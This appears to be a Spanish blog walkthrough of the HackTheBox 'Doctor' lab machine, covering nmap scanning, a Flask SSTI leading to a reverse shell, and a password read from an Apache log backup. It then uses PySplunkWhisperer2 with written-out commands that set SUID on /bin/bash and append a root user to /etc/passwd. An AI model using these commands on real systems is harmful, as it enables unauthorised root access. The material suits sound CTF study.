Post

HackTheBox - Doctor

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: SSTI, SplunkWhisperer2, Information Leakage

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos en la Máquina Doctor

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p<Ports> -sCV <IP> -oN versiones

Añadimos el host doctors.htb en el archivo /etc/hosts

c. Inspeccionamos el sitio http://doctor.htb y registramos una cuenta.

El uso de Flask lo hace propenso a un SSTI

  • Al no obtener un 49 como respuesta, indagamos en el código fuente de la página web, aquí, nos encontramos con un comentario que menciona una ruta que sea encuentra en ‘beta’

  • Visitamos esta nueva ruta e inspeccionamos su código fuente

El payload es interpretado por lo cual el ataque SSTI funciona.

d. Nos encontablaremos una reverse shell STTI - RCE

  • Ahora, vamos a la ruta /archive y la recargamos, para ejecutar el comando.

Escalada de Privilegios 💹

a. Vemos los grupos a los que pertenecemos

1
2
web@doctor:~$ id
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)

El grupo adm está autorizado para ver archivos logs.

  • En el directorio /var/log/apache2 existe un archivo backup el cual no es usual, por lo que lo leemos en busca de alguna contraseña
1
2
web@doctor:/var/log/apache2$ grep -i 'pass' backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

b. Obtenemos la contraseña Guitar123 y tenemos otro usuario en el sistema shaun, intentamos convertirnos en este usuario

1
2
3
web@doctor:/var/log/apache2$ su shaun
Password: Guitar123
shaun@doctor:/var/log/apache2$

e. Al no encontrar una forma de escalar privilegios, visitamos el otro sitio web que estaba disponible https://<IP Doctor>:8089

  • Visitamos cada uno de los módulos, estos requieren de auntenticación, por lo que intentamos loguearnos con las credenciales shaun:Guitar123
  • El módulo que contiene información interesante es services y si visitamos la ruta /services/admin/users veremos que shaun es administrador del sistema.

f. Buscamos vulnerabilidades asociadas a splunk SplunkWhisperer2 y Splunk - HackTricks

  • Una vez descargado el exploit podemos ejecutar comandos como root
1
> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP]  --username shaun --password Guitar123 --payload "chmod +s /bin/bash"
  • Con esto la bash ya tiene el permiso SUID y podemos spawnear una como root

    1
    2
    3
    4
    5
    
      shaun@doctor:/var/log/apache2$ ls -la /bin/bash
      -rwsr-sr-x 1 root root 1183448 Jun 18  2020 /bin/bash
      shaun@doctor:/var/log/apache2$ bash -p
      bash-5.0# whoami
      root
    
  • También podemos agregar un usuario en el fichero /etc/passwd

1
2
3
4
5
6
7
> openssl passwd hola
$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.

> python PySplunkWhisperer2_remote.py --host [IP Doctor] --port 8089 --lhost [tun0 IP]  --username shaun --password Guitar123 "echo 'testing:\$1\$EHU.NHFo\$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash' >> /etc/passwd"

<SNIP>
[ENTER]
  • Si nos convertimos en testing tendremos una shell como root

    1
    2
    3
    4
    5
    
      shaun@doctor:/var/log/apache2$ tail -n 1 /etc/passwd
      testing:$1$EHU.NHFo$95A.r07oTWCErDLLwtbV9.:0:0::/home:/bin/bash
      shaun@doctor:/var/log/apache2$ su testing
      Password: hola
      root@doctor:/var/log/apache2#
    
This post is licensed under CC BY 4.0 by the author.